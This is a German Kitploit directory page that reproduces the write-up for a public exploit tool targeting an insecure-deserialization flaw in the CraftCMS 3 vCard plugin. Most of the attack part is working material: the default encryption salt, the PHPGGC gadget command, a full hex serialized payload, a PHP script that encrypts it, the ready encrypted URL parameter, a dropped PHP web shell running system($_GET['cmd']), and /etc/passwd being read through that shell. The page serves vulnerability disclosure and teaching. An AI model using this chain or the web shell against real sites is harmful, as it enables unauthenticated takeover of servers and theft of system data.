Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
craftcms-vcard-exploit — Dieses Repository enthält Details zu einer Sicherheitslücke, die im „vCard"-Plugin für CraftCMS 3 gefunden wurde. | Kitploit
Tools/GitLabGitLab/wguest/craftcms-vcard-exploit
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitLabwguest/craftcms-vcard-exploit

craftcms-vcard-exploit

Dieses Repository enthält Details zu einer Sicherheitslücke, die im „vCard"-Plugin für CraftCMS 3 gefunden wurde.

Repository anzeigen
1vor 6 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Deserialisierungs-Schwachstelle im Craft CMS vCard Plugin

Craft CMS verfügt über ein Plugin zum Herunterladen von Kontakten im *.vcf-Dateiformat namens „vCard“. Das Plugin kann im Craft-Repository und auf Github eingesehen werden: Craft Plugin Store Github

Beschreibung

Dieses Plugin nimmt einen vom Client gesendeten Parameter entgegen, entschlüsselt den Wert mit openssl_decrypt und übergibt die resultierende Zeichenkette anschließend an die unserialize-Funktion von PHP. Da der Standardsalt für die Verschlüsselung im Repository verfügbar ist, kann ein Angreifer dieselbe Logik verwenden, um eine schädliche serialisierte Nutzlast zu verschlüsseln.

Wenn der Benutzer in den Plugin-Einstellungen einen geänderten „salt“-Wert konfiguriert hat, muss dieser als Parameter an das Python-Skript übergeben werden. Dieser Wert bleibt jedoch unverändert, wenn das Plugin aus dem Plugin Store heruntergeladen oder lediglich das Repository geklont wird. Es gibt keine Möglichkeit, ihn über die Craft-Web-GUI zu ändern.

Skriptverwendung

Führen Sie das Skript aus und geben Sie den vCard-Link an, der den Kontakt-Download auslöst. Entfernen Sie den Wert des vcard-Parameters.

Beispiel: Beispielhafter vCard-Download-Link: http://craftcms/index.php?p=actions/vcard/default/index&vcard=GxHwdD1xmDkQoWbn_nPsgVR-2VOQt6w_oDmLl9h4jAglePdkMM1NMBKHTmq9Uuu7XFM9qvNs3Mi_B0-bT2JbfsflmMDzL29w2QaP28vRBHmyDLTMcacJwuBXEDUqF-sxovuY7oN-YFZXA4jOwC0CyxjLKIjz3UWBf-1ItLRkqKSSAHBuHOMeB5drdTqw67ZCmnlLVI7FYVUNBS9q3WrMRWMhexjHbO2VymDdV3q0GOlZmES9Imgdwq9ibI6okG_QFqHHq33a8U_m4NPvjTqsdm6Wm3OjcPSVV9L2RR8ZnhN9CayfaShb5jligs5b0So2Vddo8EmCZUgKP7-BIT4dlWRGwD_F0w2PyjUZRsRx25ydy6ZklXXHMb4fkrxuKXaHGfB8Y9SUbcQYAUK2OZhZno0FKWzUABDEjjvquevUSTgJr7wNq2oU4YpBwWoQCNGX7ILAuWN8_7GFIajhosdoOilLiLTmoJPWHfdpNKRaZlYcLX9zF7fUXw_BsHJZOySZhbSL0Q7ktzs__DygIL5uuongteXKIafhUFZxPEcC1W9OHy767Lgg77hJwp7lqF1krtHbbQ1o-4hV12dPkouauQ

Der Parameter für das Skript wäre dann: "http://craftcms/index.php?p=actions/vcard/default/index&vcard="

root@kitploit:~
$ ./exploit_vcard.py -u "http://craftcms/index.php?p=actions/vcard/default/index&vcard="
Deserialization has been triggered, navigate to craftCMS webroot/shell.php
Use GET parameter 'cmd' to execute commands
Example: http://craftcms/shell.php?cmd=ls%20-al;whoami;ip%20a

Optional kann ein Salt-Wert angegeben werden. Alle Optionen werden hier angezeigt:

root@kitploit:~
usage: exploit_vcard.py [-h] -u URL [-s SALT] [-f FNAME]
Unauthenticated RCE for CraftCMS vCard Plugin

optional arguments:
-h, --help  show this help message and exit
-u URL      The URL for the vCard download without the vCard value Example:
          http://craftcms/index.php?p=actions/vcard/default/index&vcard=
-s SALT     Security key required for encrypting payload. Defaul is
          's34s4L7'
-f FNAME    File path/name to use as value in upload path: ./<value> . Use a
          PHP extension. Default value is 'shell.php'

Anforderungen

  • Python3

Das Python-Skript wurde mit Python 3.6 getestet.

  • PHP-CLI

Das Skript führt auf dem Host des Angreifers einen PHP-Befehl aus, um die Nutzlast zu verschlüsseln. Daher muss php-cli installiert sein. Dieser Angriff wurde mit PHP 7.2-cli und PHP 7.3-cli getestet.

Walkthrough der Schwachstelle

Hier ist ein Ausschnitt der Stelle, an der der Code unsicher deserialisiert (VCardService.php:297) Github:

root@kitploit:~
  public function decodeUrlParam($optionsString = "")
  {
    $optionsString = $this->decrypt($optionsString);
    $options = unserialize($optionsString);
    return $options;
  }

Der Parameter $optionsString ist der Wert des vom Client bereitgestellten URL-Parameters „vcard“. Er wird durch die decrypt-Funktion geschickt und anschließend deserialisiert. Wenn der Client die Verschlüsselung nachahmen kann, wird dieser Code angreifbar, da er direkt vom Benutzer bereitgestellte Daten deserialisiert.

Hier ist die betreffende Verschlüsselungsfunktion (VCardService.php:306) Github:

root@kitploit:~
  protected function encrypt($string)
  {
    $key = VCard::$plugin->getSettings()->salt;
    $key = md5( $key );
    $iv = substr( md5( $key ), 0, 16);

    return rtrim(
      strtr(
        base64_encode(
          openssl_encrypt( $string, 'aes128', md5( $key ), true, $iv )
        ),
        '+/', '-_'
      ), '='
    );
  }

Der einzige Wert, den ein Angreifer kennen muss, ist die Variable $key, die durch „VCard::$plugin->getSettings()->salt“ gesetzt wird. Der Standardwert kann im Repository als „s34s4L7“ eingesehen werden (config.php:26) Github

Unter der Annahme, dass der Standardsalt verwendet wird, kann ein Angreifer die Deserialisierung beliebiger Klassen in der Craft-Installation erzwingen.

Wir müssen eine „Gadget“-Klasse in der Standardinstallation von Craft finden, die wir für bösartige Zwecke nutzen können. Wenn wir prüfen, welche Klassen die magischen Funktionen __destruct oder __wakeup besitzen, erhalten wir eine ausreichend kleine Liste. Dies kann mit „grep -rni < Pfad zum Web-Root > -e '__destruct'“ bewerkstelligt werden.

guzzlehttp besitzt eine Klasse namens „FileCookieJar“, die offenbar eine Datei unter Verwendung eines Klassenattributs als Dateinamen speichert:

root@kitploit:~
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php:38:    public function __destruct()
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-39-    {
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-40-        $this->save($this->filename);
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-41-    }
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-42-

Eine Untersuchung der save-Funktion zeigt, dass sie Daten in einen Systemdateipfad schreibt, wobei sowohl der Pfad als auch die Daten Klassenattribute sind und sich unter der Kontrolle des Angreifers befinden. Es ergibt Sinn, dass dieses Klassenobjekt beim Zerstören alle vorhandenen Cookies in das Dateinamen-Attribut schreibt, damit sie später wiederhergestellt oder verwendet werden können. Hier sind die Inhalte der save-Funktion, wobei file_put_contents unser Ziel ist (FileCookieJar.php:52) Github:

root@kitploit:~
public function save($filename)
{
    $json = [];
    foreach ($this as $cookie) {
        /** @var SetCookie $cookie */
        if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
            $json[] = $cookie->toArray();
        }
    }

    $jsonStr = \GuzzleHttp\json_encode($json);
 
    if (false === file_put_contents($filename, $jsonStr, LOCK_EX)) {
        throw new \RuntimeException("Unable to save file {$filename}");
    }
}

Glücklicherweise müssen wir die schädliche Nutzlast nicht manuell selbst konstruieren. Das wunderbare Tool PHPGGC automatisiert das Serialisieren einer Guzzle-Klasse mit einer Nutzlast, die wir für diesen Exploit verwenden können.

Ich habe das Tool verwendet, um dies als Basispayload für das Exploit-Skript zu erstellen, wobei es je nach Dateinamen leicht modifiziert wird. Außerdem ist es wichtig zu beachten, dass bei der Erzeugung einer neuen Nutzlast mit PHPGGC der Parameter „-f“ unbedingt verwendet werden muss, da sonst die magische __destruct-Funktion nicht ausgeführt wird:

root@kitploit:~
craft@craftcms:~/phpggc$ ./phpggc Guzzle/FW1 "./shell.php" ./sample.txt -f
a:2:{i:7;O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:41:"GuzzleHttp\Cookie\FileCookieJarfilename";s:11:"./shell.php";s:52:"GuzzleHttp\Cookie\FileCookieJarstoreSessionCookies";b:1;s:36:"GuzzleHttp\Cookie\CookieJarcookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:33:"GuzzleHttp\Cookie\SetCookiedata";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:67:"<pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']);    } ?>
";}}}s:39:"GuzzleHttp\Cookie\CookieJarstrictMode";N;}i:7;i:7;}

Der Inhalt von sample.txt ist: <pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>

Seien Sie vorsichtig, dass normales Kopieren+Einfügen hier nicht funktioniert, da die serialisierte Klasse Nullbytes enthält, die vorhanden sein müssen, damit die Attribute korrekt zugeordnet werden. Ich musste die Rohausgabe des Tools in Hex konvertieren und dann zurück in eine Zeichenkette, während ich den Verschlüsselungsprozess nachahmte. Hier ist das verwendete Bash, um die Hex-Nutzlast zu erhalten.

root@kitploit:~
craft@craftcms:~/phpggc$ ./phpggc Guzzle/FW1 "./shell.php" ./sample.txt -f | xxd | cut -d " " -f 2-9 | tr -d " \n"
613a323a7b693a373b4f3a33313a2247757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a6172223a343a7b733a34313a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720066696c656e616d65223b733a31313a222e2f7368656c6c2e706870223b733a35323a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720073746f726553657373696f6e436f6f6b696573223b623a313b733a33363a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a617200636f6f6b696573223b613a313a7b693a303b4f3a32373a2247757a7a6c65487474705c536574436f6f6b6965223a313a7b733a33333a220047757a7a6c65487474705c536574436f6f6b69650064617461223b613a333a7b733a373a2245787069726573223b693a313b733a373a2244697363617264223b623a303b733a353a2256616c7565223b733a36373a223c7072653e3c3f70687020696628697373657428245f4745545b27636d64275d2929207b2073797374656d28245f4745545b27636d64275d293b202020207d203f3e0a223b7d7d7d733a33393a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a6172007374726963744d6f6465223b4e3b7d693a373b693a373b7d0a

Möglicherweise befindet sich am Ende der erzeugten Nutzlast ein „0A“-Byte. Wenn ja, entfernen Sie es. Nachdem wir nun eine Nutzlast von PHPGGC haben und in Hex konvertiert haben, müssen wir sie verschlüsseln, bevor wir sie an die verwundbare Plugin-Funktion senden. Indem wir die Logik der zuvor genannten vCard-Verschlüsselungsfunktion übernehmen, müssen wir nur unsere Hex-Nutzlast konvertieren und verschlüsseln. Hier ist das PHP-Skript, das ich verwendet habe:

root@kitploit:~
<?php
$string = hex2bin("613a323a7b693a373b4f3a33313a2247757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a6172223a343a7b733a34313a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720066696c656e616d65223b733a31313a222e2f7368656c6c2e706870223b733a35323a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720073746f726553657373696f6e436f6f6b696573223b623a313b733a33363a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a617200636f6f6b696573223b613a313a7b693a303b4f3a32373a2247757a7a6c65487474705c536574436f6f6b6965223a313a7b733a33333a220047757a7a6c65487474705c536574436f6f6b69650064617461223b613a333a7b733a373a2245787069726573223b693a313b733a373a2244697363617264223b623a303b733a353a2256616c7565223b733a36373a223c7072653e3c3f70687020696628697373657428245f4745545b27636d64275d2929207b2073797374656d28245f4745545b27636d64275d293b202020207d203f3e0a223b7d7d7d733a33393a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a6172007374726963744d6f6465223b4e3b7d693a373b693a373b7d");

$key = "s34s4L7";
$key = md5( $key );
$iv = substr( md5( $key ), 0, 16);

$string2 = rtrim(
      strtr(
        base64_encode(
          openssl_encrypt( $string, 'aes128', md5( $key ), true, $iv )
        ),
        '+/', '-_'
      ), '='
    );
echo  "Encrypted parameter:\n" . $string2 . "\n\n";

?>

Und die resultierende Ausgabe:

root@kitploit:~
craft@craftcms:/var/www/vendor/nfourtythree/vcard/src/services$ php encrypt.php 
Encrypted parameter:
cNSH6Xu6XhGYYF8RHWjebL5TCVv32vqkNqZoh2Vt-eUgQ_dEw89U4X3av54G7mCWXiXxvzT9uGbXZzRmjKYDdPbeXSUBoNgPDsqqD0Ujj1tUuixk_fkswxCswFhL0dB6gddLdNPdgZcHEIHWOtlseKfcD8I8yWrr6i3OCEXt2gyXGZQwm_J9oSXE0I6piFT73vLrhwo06DLhO9gDxIqpZGzI9KTQv3p5oc7FypzF-f3lE_i8k8PUJDO22WEObPH71LYfhrq2FnSv3sgcfrKTmHmmiZFcV4hBY7l1Lrluyxg7FDVR4KSbUZYSKo6O7JnexhghdcJ6z1oqZJ7qVgarPo1zIfT0dIUs5CfVXjzpNcuz3WYVY5ekzjZs79aN-lGMrh2o-ZWpVFnGcunRcZOBNn-BzO88pAl9z4yL_tz_BFyH1WKfKHhgTMlpC73exQNHBiJevfne4EOV6A_rUzIRgzceoIssYpEQQxj2GY9hXzY8GEtn4O0x0BAA4GUe59PxNVh5oLQSC1h0vCJ5Bsmr33HAetLk9dZO0_6Mt4gaZikbjXLTE5obC0gnv7qdVZB80bQaKgpzzXjQOBRcXxGr5GUzmrwqU6gBSfcq_4GpCot7asDo7Sj2t7esUGDniV25Of_bzdz1Dqldc87cKYd42LxPx01oqpCTn0vtNL-loPY

Endlich! Jetzt, wo wir unsere Nutzlast haben, müssen wir sie nur noch in einer Anfrage senden, und die Shell wird verfügbar sein. Der Link zu einem gültigen vCard-Download variiert. Hier ist ein Beispiel aus meiner Testinstallation:

http://craftcms/index.php?p=actions/vcard/default/index&vcard=

Der Wert des vcard-Parameters wird entfernt und durch unseren bösartigen ersetzt:

http://craftcms/index.php?p=actions/vcard/default/index&vcard=cNSH6Xu6XhGYYF8RHWjebL5TCVv32vqkNqZoh2Vt-eUgQ_dEw89U4X3av54G7mCWXiXxvzT9uGbXZzRmjKYDdPbeXSUBoNgPDsqqD0Ujj1tUuixk_fkswxCswFhL0dB6gddLdNPdgZcHEIHWOtlseKfcD8I8yWrr6i3OCEXt2gyXGZQwm_J9oSXE0I6piFT73vLrhwo06DLhO9gDxIqpZGzI9KTQv3p5oc7FypzF-f3lE_i8k8PUJDO22WEObPH71LYfhrq2FnSv3sgcfrKTmHmmiZFcV4hBY7l1Lrluyxg7FDVR4KSbUZYSKo6O7JnexhghdcJ6z1oqZJ7qVgarPo1zIfT0dIUs5CfVXjzpNcuz3WYVY5ekzjZs79aN-lGMrh2o-ZWpVFnGcunRcZOBNn-BzO88pAl9z4yL_tz_BFyH1WKfKHhgTMlpC73exQNHBiJevfne4EOV6A_rUzIRgzceoIssYpEQQxj2GY9hXzY8GEtn4O0x0BAA4GUe59PxNVh5oLQSC1h0vCJ5Bsmr33HAetLk9dZO0_6Mt4gaZikbjXLTE5obC0gnv7qdVZB80bQaKgpzzXjQOBRcXxGr5GUzmrwqU6gBSfcq_4GpCot7asDo7Sj2t7esUGDniV25Of_bzdz1Dqldc87cKYd42LxPx01oqpCTn0vtNL-loPY

Die Zeichenkette wird als $optionsString durchgereicht, entschlüsselt und dann deserialisiert, was einen internen Serverfehler verursacht. Ein Blick auf das Dateisystem des Test-Webservers zeigt, dass eine neue Datei shell.php erstellt wurde:

root@kitploit:~
craft@craftcms:/var/www/html$ ls
cpresources  index.php  shell.php  web.config

craft@craftcms:/var/www/html$ cat shell.php 
[{"Expires":1,"Discard":false,"Value":"<pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']);    } ?>\n"}]
craft@craftcms:/var/www/html$

Wenn ich http://craftcms/shell.php in meinem Browser aufrufe, kann ich nun Systembefehle über den GET-Parameter cmd übergeben.

Beispiel: http://craftcms/shell.php?cmd=cat%20/etc/passwd

root@kitploit:~
[{"Expires":1,"Discard":false,"Value":"<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...

Referenzen

PHP-Gadget-Generierung: https://github.com/ambionics/phpggc

vCard-Plugin: https://github.com/nfourtythree/craft3-vcard

Craft CMS: https://craftcms.com/

unserialize-Dokumentation: https://www.php.net/manual/en/function.unserialize.php

Tool herunterladen